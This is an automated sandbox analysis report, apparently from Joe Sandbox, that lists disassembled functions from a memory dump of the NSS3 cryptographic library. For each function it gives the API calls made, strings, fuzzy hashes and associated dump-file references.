Opcode Fuzzy Hash: 2c310cccbecf4fc2549b39d95eb9517780c944a9a573ea0e0dbf29e4ddaca4bb
Instruction Fuzzy Hash: DF61BFB2800740DFC710AF24C88171ABBF4EF44719F198669D8596B752EB79F891CFA1

Function 6BAA9A60 Relevance: 18.2, APIs: 12, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6BAA9A9E

Part of subcall function 6BAA14C0: TlsGetValue.KERNEL32 ref: 6BAA14E0
Part of subcall function 6BAA14C0: EnterCriticalSection.KERNEL32 ref: 6BAA14F5
Part of subcall function 6BAA14C0: PR_Unlock.NSS3 ref: 6BAA150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6BAA9AAC

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAA9AFC
SECITEM_CopyItem_Util.NSS3(?,-00000004,?), ref: 6BAA9B7B
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAA9B8E
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAA9BA5
SEC_PKCS7DestroyContentInfo.NSS3(00000000), ref: 6BAA9BBE
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6BAA9BD4
PK11_GetInternalKeySlot.NSS3 ref: 6BAA9C0E
PK11_PBEKeyGen.NSS3(?,00000000,?,00000000,?), ref: 6BAA9C38
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6BAA9CDA
PR_SetError.NSS3(FFFFE006,00000000), ref: 6BAA9D31

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$ErrorValue$ArenaItem_$CriticalEnterK11_SectionUnlockZfree$Alloc_AllocateContentCopyDestroyInfoInternalMark_Slot
String ID:
API String ID: 3381059483-0
Opcode ID: ad464b4ea3ddaa978076aff0fb31ab16ffb9d8e7ae6567f7706f7045a39cf9aa
Instruction ID: ea45e935cf352f136fdec8bf1ed23d0141e993a77391e1af874c346608bdbec1
Opcode Fuzzy Hash: ad464b4ea3ddaa978076aff0fb31ab16ffb9d8e7ae6567f7706f7045a39cf9aa
Instruction Fuzzy Hash: 8B810671904201AFEF10CF24DE41B6A77E5EF84308F140568E9599B292EB3EE9D5C7B2

Function 6BA44880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA448A2
PORT_NewArena_Util.NSS3(00000800), ref: 6BA448C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6BA448D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6BA448FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6BA44908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6BA44947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6BA4496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA44988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6BB68DAC,?), ref: 6BA449DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA449FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA44ACB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 4f5d281216492af39406fa46b99488922799907e4360a5dbea93b2cd0946e677
Instruction ID: 011f048b853c84fcc19486506ed68c5c6836ae0c5c4602bff20c82be5d4e0c0c
Opcode Fuzzy Hash: 4f5d281216492af39406fa46b99488922799907e4360a5dbea93b2cd0946e677
Instruction Fuzzy Hash: 8951E2B1A003019BEF108E75DD82B5B77E5AF41708F044479E9199B281EFB9D4D88B66

Function 6BA63BD0 Relevance: 18.2, APIs: 12, Instructions: 191COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,F04D8B4E,6BA63F23,?,6BA5E4CE,?,?,?,00000001,00000000,?,?,6BA63F23,?), ref: 6BA63BEB
EnterCriticalSection.KERNEL32(?,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE,?,?,?,00000001,00000000,?,?,6BA63F23,?), ref: 6BA63BFF
PL_HashTableLookup.NSS3(?,6BA63F23,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE,?,?,?,00000001,00000000,?,?,6BA63F23), ref: 6BA63C0F
PR_Unlock.NSS3(?,?,?,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE,?,?,?,00000001,00000000,?), ref: 6BA63C1C

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE,?,?,?,00000001,00000000), ref: 6BA63C5D
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE,?,?,?,00000001), ref: 6BA63C71
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE), ref: 6BA63C81
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,F04D8B4E,6BA63F23,?,6BA5E4CE), ref: 6BA63C8E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,F04D8B4E,6BA63F23), ref: 6BA63D1B
EnterCriticalSection.KERNEL32(?), ref: 6BA63D32
PL_HashTableLookup.NSS3(00000000,CCCCCCCC), ref: 6BA63D42
PR_Unlock.NSS3(00000000), ref: 6BA63D4F

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: a85f759604f6ba824cd451c14b9da4ba8f33acfaca49a66ffa275ceaee0bce12
Instruction ID: 1d62e3d79871a27c79f13a0dd3297f51e111693364f5bdb160b5c990be3d8f64
Opcode Fuzzy Hash: a85f759604f6ba824cd451c14b9da4ba8f33acfaca49a66ffa275ceaee0bce12
Instruction Fuzzy Hash: BC71B1B6D00104DFDF109F28D94596AB7B4FF05358B084568EC589B212F736EDA5CBE1

Function 6BAA79F0 Relevance: 18.2, APIs: 12, Instructions: 181memorystringthreadCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(000000AB,?,6BAA952D), ref: 6BAA7A02

Part of subcall function 6BAA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA08B4

SECOID_FindOID_Util.NSS3(?,?,?,6BAA952D), ref: 6BAA7A36

Part of subcall function 6BAA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6BA48298,?,?,?,6BA3FCE5,?), ref: 6BAA07BF
Part of subcall function 6BAA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6BAA07E6
Part of subcall function 6BAA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA081B
Part of subcall function 6BAA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA0825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6BAA952D), ref: 6BAA7A63
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6BAA952D), ref: 6BAA7A7D
PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,?,?,6BAA952D), ref: 6BAA7A9C
PORT_ArenaGrow_Util.NSS3(?,?,00000000,?), ref: 6BAA7AEC
PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6BAA7B04
SECITEM_CopyItem_Util.NSS3(?,?,00000000,?,?,?,?,?,?,6BAA952D), ref: 6BAA7B3C
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,?,?,6BAA952D), ref: 6BAA7B6B
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,?,?,6BAA952D), ref: 6BAA7B85
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,6BAA952D), ref: 6BAA7BB1
PR_GetCurrentThread.NSS3(?,?,6BAA952D), ref: 6BAA7BE7

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Error$FindHashLookupTable$ConstCopyCurrentGrow_Item_Tag_Threadstrlen
String ID:
API String ID: 915756558-0
Opcode ID: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction ID: 781c329b971630c2c97d6111d19a1ff5bc4346b6d827609e058a4f8786ec9ed7
Opcode Fuzzy Hash: 9c569a9f203f87ff574882c269cc7d2df6116064ee480c1aa46b74f4135963de
Instruction Fuzzy Hash: BD5193B4A00301AFEB118F25DD91B2777F1BF45344F18416CD81A8B2A6E779E994CBB0

Function 6BAA7870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6BAA91C5), ref: 6BAA788F

Part of subcall function 6BAA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6BA48298,?,?,?,6BA3FCE5,?), ref: 6BAA07BF
Part of subcall function 6BAA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6BAA07E6
Part of subcall function 6BAA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA081B
Part of subcall function 6BAA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA0825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6BAA91C5), ref: 6BAA78BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6BAA91C5), ref: 6BAA78FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6BAA91C5), ref: 6BAA7930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BAA91C5), ref: 6BAA7951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BAA7964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6BAA797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6BAA7988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6BAA7998
free.MOZGLUE(00000000), ref: 6BAA79A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6BAA91C5), ref: 6BAA79BB
PR_GetCurrentThread.NSS3(?,?,?,?,6BAA91C5), ref: 6BAA79CA

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: e8a5395e7eae3f1d1137384a33f8dbabaaa423305396d29fe774e058931dcba7
Instruction ID: 373ebb30b33b5e779468dca640beb67c6de5765a06057f4db663cd7479c8af06
Opcode Fuzzy Hash: e8a5395e7eae3f1d1137384a33f8dbabaaa423305396d29fe774e058931dcba7
Instruction Fuzzy Hash: F241D6B2E002019BEF128B75DD46B2BB7A8AF44354F180079E81997245F739E894C6B2

Function 6BA438E0 Relevance: 18.1, APIs: 12, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6BA438A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA438FF
EnterCriticalSection.KERNEL32(?,?,?,?,6BA438A8), ref: 6BA43918
PL_HashTableDestroy.NSS3(?,?,?,?,?,6BA438A8), ref: 6BA4392C
PR_Unlock.NSS3(?,?,?,?,?,6BA438A8), ref: 6BA43941
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6BA438A8), ref: 6BA43952
free.MOZGLUE(?,?,?,?,?,?,6BA438A8), ref: 6BA4395E
TlsGetValue.KERNEL32(00000000,?,?,6BA438A8,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA43981
EnterCriticalSection.KERNEL32(?,?,?,?,6BA438A8), ref: 6BA43996
PL_HashTableDestroy.NSS3(?,?,?,?,?,6BA438A8), ref: 6BA439AA
PR_Unlock.NSS3(?,?,?,?,?,6BA438A8), ref: 6BA439BF
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6BA438A8), ref: 6BA439D0
free.MOZGLUE(?,?,?,?,?,?,6BA438A8), ref: 6BA439DC

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteDestroyEnterHashTableUnlockValuefree
String ID:
API String ID: 2967110932-0
Opcode ID: a790d8b8b6f04d19841b983dcf9b6a4e62503b1735dc3367ea31852759d0dba6
Instruction ID: fde0d14534ff6baedfea126feef7e2877d7155c7a659d6389453b07df1164d03
Opcode Fuzzy Hash: a790d8b8b6f04d19841b983dcf9b6a4e62503b1735dc3367ea31852759d0dba6
Instruction Fuzzy Hash: 043108B5844616CFDF20AF79C14A57DBBF4FB06304F064929D895A3600EB36E4DACB82

Function 6B9CF880 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001158E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6B9CFB69

Part of subcall function 6BAF93E0: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BAF9419

memcpy.VCRUNTIME140(?,?,?), ref: 6B9CF8FC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6B9CF93E
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6B9CFA44
memcpy.VCRUNTIME140(?,?,?), ref: 6B9CFA66
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6B9CFB3A
memcpy.VCRUNTIME140(?,?,?), ref: 6B9CFC01

Strings

database corruption, xrefs: 6B9CFB5D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9CFB2A, 6B9CFB47, 6B9CFB53, 6B9CFCAE
%s at line %d of [%.10s], xrefs: 6B9CFB62

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong$_byteswap_ushortmemsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1835766639-598938438
Opcode ID: e8a37b26ac3edb555239d5604f83c72ae949b0649fe2bed65ec635482d48a45b
Instruction ID: 744b1c473b92323f4ab0094de561b132e1b4592735e1b235c084c7f0e499919b
Opcode Fuzzy Hash: e8a37b26ac3edb555239d5604f83c72ae949b0649fe2bed65ec635482d48a45b
Instruction Fuzzy Hash: 5FD13A71E002199FDF04CFA9D890BAEB7B5BF48318F158169E819B7350E739E905CB92

Function 6BAF9820 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(-00000001), ref: 6BAF98B8
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BAF9978
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BAF999E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?), ref: 6BAF9B68

Part of subcall function 6BAF9C40: memcmp.VCRUNTIME140(?,00000000,6B9CC52B), ref: 6BAF9D53

EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 6BAF9B12
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000118F8,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6BAF9BBF
sqlite3_free.NSS3(00000000,?,?,?), ref: 6BAF9BF5

Part of subcall function 6B9CCA30: EnterCriticalSection.KERNEL32(?,?,?,6BA2F9C9,?,6BA2F4DA,6BA2F9C9,?,?,6B9F369A), ref: 6B9CCA7A
Part of subcall function 6B9CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6B9CCB26

Part of subcall function 6B9CF880: memcpy.VCRUNTIME140(?,?,?), ref: 6B9CF8FC
Part of subcall function 6B9CF880: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6B9CF93E

Strings

database corruption, xrefs: 6BAF9BB3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BAF9A3C, 6BAF9B9D, 6BAF9BA9
%s at line %d of [%.10s], xrefs: 6BAF9BB8

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave_byteswap_ulong_byteswap_ushort$memcmpmemcpysqlite3_freesqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4240395935-598938438
Opcode ID: e0ece800aa5816cc3492b262c6fa77cb8c4b2b40c3e6ae4d4bfb7fcbe6cf2a0f
Instruction ID: 36a4a67afedf088c47b1d7186853922e70748592dd9cfb136f6237bb194d235b
Opcode Fuzzy Hash: e0ece800aa5816cc3492b262c6fa77cb8c4b2b40c3e6ae4d4bfb7fcbe6cf2a0f
Instruction Fuzzy Hash: 14C13471E042519FDF14CF65CA816EEB7B9FF4A314F084168E945AB252E339EC82C7A1

Function 6BA4E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6BA4E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6BA4E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6BA4E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BA4E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6BA4E9CA
PORT_Strdup_Util.NSS3(6BB8933E), ref: 6BA4EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6BA4EA28

Part of subcall function 6BAA0BE0: malloc.MOZGLUE(6BA98D2D,?,00000000,?), ref: 6BAA0BF8
Part of subcall function 6BAA0BE0: TlsGetValue.KERNEL32(6BA98D2D,?,00000000,?), ref: 6BAA0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BA4EA3C
free.MOZGLUE(?), ref: 6BA4EA69

Strings

http://, xrefs: 6BA4E935

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: d3e54e279a00fd5d216ee80f69e3ffe0364a7c94e208a1b481dcda6b6fad4d02
Instruction ID: 7f2cfdcfaab05d2a8a2038a74a4bd8f8572be5fb15d6aec39167070058892f42
Opcode Fuzzy Hash: d3e54e279a00fd5d216ee80f69e3ffe0364a7c94e208a1b481dcda6b6fad4d02
Instruction Fuzzy Hash: F0416E75D681469BEF68CA788C417AEF7A5AF06314F0800A1DC94972C3E21E95C7C2A6

Function 6BAC6BA0 Relevance: 16.7, APIs: 11, Instructions: 248COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,?,?,?,?,?,?,?,6BAD0293), ref: 6BAC6BC2
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6C13
NSS_GetAlgorithmPolicy.NSS3(?), ref: 6BAC6C39
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6BAC6C6C
NSS_GetAlgorithmPolicy.NSS3(00000146,?), ref: 6BAC6CAB
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6CEE
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6D2A
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6D6D
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6DBD
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6E13
PR_SetError.NSS3(FFFFD016,00000000), ref: 6BAC6EE9

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
